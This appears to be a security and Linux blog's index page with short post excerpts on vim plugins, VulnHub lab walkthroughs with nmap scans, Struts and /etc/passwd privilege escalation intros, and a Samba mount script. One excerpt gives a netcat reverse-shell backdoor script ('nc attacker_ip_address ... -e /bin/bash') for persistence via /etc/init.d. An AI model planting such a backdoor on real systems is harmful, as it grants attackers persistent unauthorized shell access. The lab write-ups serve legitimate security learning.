Sec-Art

Setting-up Vimux ( vim + tmux ) in Linux machine

By using vimux we can use vim as an IDE. It basically opens a terminal below vim panel with 20 width and then run the mapped command. Pre-requisites are vim and tmux installed.

Installation :

Make sure vim plugin manager will be installed. I installed pathgen. Now run the below command :

 cd ~/.vim/bundle
 git clone https://github.com/benmills/vimux.git

Configuration :

The function used to configure vimux are VimuxRunCommand, VimuxPromptCommand, VimuxRunLastCommand.

VimuxRunCommand : used to run certain system command. It is mapped with autocmd FileType which map different commands for different filetypes. Press LEADER + e
VimuxPromptCommand : used to open a prompt to run user supplied command. Press LEADER + p
VimuxRunLastCommand : used to run last command Executed by VimuxRunLastCommand. Press LEADER + l

Note : LEADER key is mapped to / (slach), by default it is mapped to \ (backword-slash).

vim plugins installation and some basic .vimrc configuration

Installing plugin manager Pathogen

Run below commands:

 $ mkdir -p ~/.vim/autoload ~/.vim/bundle
 $ curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim

Add below lines to ~/.vimrc file :

 execute pathogen#infect()
 syntax on
 filetype plugin indent on

Installing NERDTREE plugin:

Commands :

 $ cd ~/.vim/bundle
 $ git clone https://github.com/scrooloose/nerdtree.git

Add below lines to ~/.vimrc file :

 map <F2> :NERDTree<CR>
 autocmd StdinReadPre * let s:std_in=1
 autocmd VimEnter * if argc() == 0 && !exists("s:std_in") | NERDTree | endif

To open the NERDTREE pane press F2.

Using language Templates in vim :

Create templates folder on ~/.vim folder

 $ mkdir ~/.vim/templates
 $ cd ~/.vim/templates

Now create template files on ~/.vim/templates/ directory. Some examples of template files are as follows :

Exploiting Apache Struts2.5 REST Plugin Vulnerability

What is Apache Struts ?

Apache Struts is a free, open-source, MVC framework for creating modern Java web applications. It enables the developer to create maintainable, extensible, and flexible web applications based on standard technologies, such as JSP pages, JavaBeans, resource bundles, and XML.

Escalation Privilege on Linux/Unix System by Editing /etc/passwd and /etc/shadow files :

etc/passwd file :

The /etc/passwd file stores essential information, which is required during login i.e. user account information. It is basically a text file that contains the information about each user or account on a computer running Linux or another Unix-like operating system. The permissions for /etc/passwd are by default set so that it is world readable, that is, so that it can be read by any user on the system. Example :

Install shutter screenshot tool with Editor Enabled in Ubuntu 18.04

Shutter is a screenshot application written in perl. You can take a screenshot of a specific area, window, your whole screen, or even of a website. You can apply different effects to it, draw on it to highlight points, and then upload to an image hosting site, all within one window.

Setting up remote backdoor on linux machine using netcat | nc

It can be useful when attacker gained root access to the target system, and want to persistence access to it at every reboot. Backdoor code : backdoor.sh

#!/bin/bash
while true
do
    nc attacker_ip_address port_number -e /bin/bash
    sleep 10
done

Put above code on /etc/init.d and make it executable.

MrRobot CTF VM WalkThrough from VulnHub

VM : MrRobot

Download Link : https://www.vulnhub.com/entry/basic-pentesting-2,241/

Getting Target machine IP :

Scan the whole network to identify the target IP.

 nmap -sP 192.168.56.0/24

-sP sends ICMP echo request and only tells if host is up or down. Our target system is 192.168.56.101.

Scanning the target

 $ nmap -sV 192.168.56.101 -oN target.scan
 
         STATE  SERVICE  VERSION
 22/tcp  closed ssh
 80/tcp  open   http     Apache httpd
 443/tcp open   ssl/http Apache httpd

There are only two ports open.

BasicPentesting2 VM WalkThrough from VulnHub

VM : BasicPentesting2

Dwonload Link : https://www.vulnhub.com/entry/basic-pentesting-2,241/

Start the VM and get IP of VM :

 $ nmap -sP 192.168.56.0/24
 
 Nmap scan report for 192.168.56.1
 Host is up (0.000088s latency).
 Nmap scan report for 192.168.56.100
 Host is up (0.00017s latency).
 Nmap scan report for 192.168.56.103
 Host is up (0.00024s latency).
 Nmap done: 256 IP addresses (3 hosts up) scanned in 17.09 seconds

at above list 192.168.56.103 is our target VM.

BasicPentesting1 VM WalkThrough from VulnHub

VM : BasicPentesting1

Download Link : https://www.vulnhub.com/entry/basic-pentesting-1,216/

Start the VM and get the IP of VM :

 $ nmap -sP 192.168.1.0/24 
 
 Nmap scan report for 192.168.1.1
 Host is up (0.00060s latency).
 Nmap scan report for 192.168.1.2
 Host is up (0.000024s latency).
 Nmap scan report for 192.168.1.3
 Host is up (0.0014s latency).
 Nmap scan report for 192.168.1.9
 Host is up (0.11s latency).
 Nmap scan report for 192.168.1.10
 Host is up (0.0015s latency).
 Nmap scan report for 192.168.1.15
 Host is up (0.0012s latency).
 Nmap scan report for 192.168.1.100
 Host is up (0.00080s latency).

At above list 192.168.1.15 is our VM ip address. At above list 192.168.1.15 is our VM ip address.

Mounting Samba File Sharing on Linux / Ubuntu system within single command

The command used to mount Samba file sharing is 'gio'(gnome input/output) utility.

 gio mount smb://<server_address>/<share>

Where we need to provide three things :

Username
WORKGROUP
Password

Example :

 $ gio mount smb://192.168.56.101/Anonymous
 Password required for share anonymous on 192.168.1.100
 User [ajay]: Anonymous
 Domain [WORKGROUP]: WORKGROUP
 Password: <-------Password_here

Automating the whole Process with a Shell script :
File : smbmount.sh

#!/bin/bash
# Mount smb file server with below credentials 
# Name : Anonymous
# WORKGROUP : WORKGROUP
# Password : Anonymous

echo -e "Anonymous\nWORKGROUP\nAnonymous" | gio mount \
smb://192.168.1.100/Anonymous >> /dev/null 2>&1

Creating an alias for smbmount.sh in .bashrc file :

Open your '.bashrc' file on any editor and at the last line add this :

 alias smbmount="~/scripts/smbmount.sh"

I put script at "~/scripts/smbmount.sh", you can change it accoring to your location. Now open a new terminal and type 'smbmount' to mount smsb share on your destro.

 $ smbmount

Cheers !!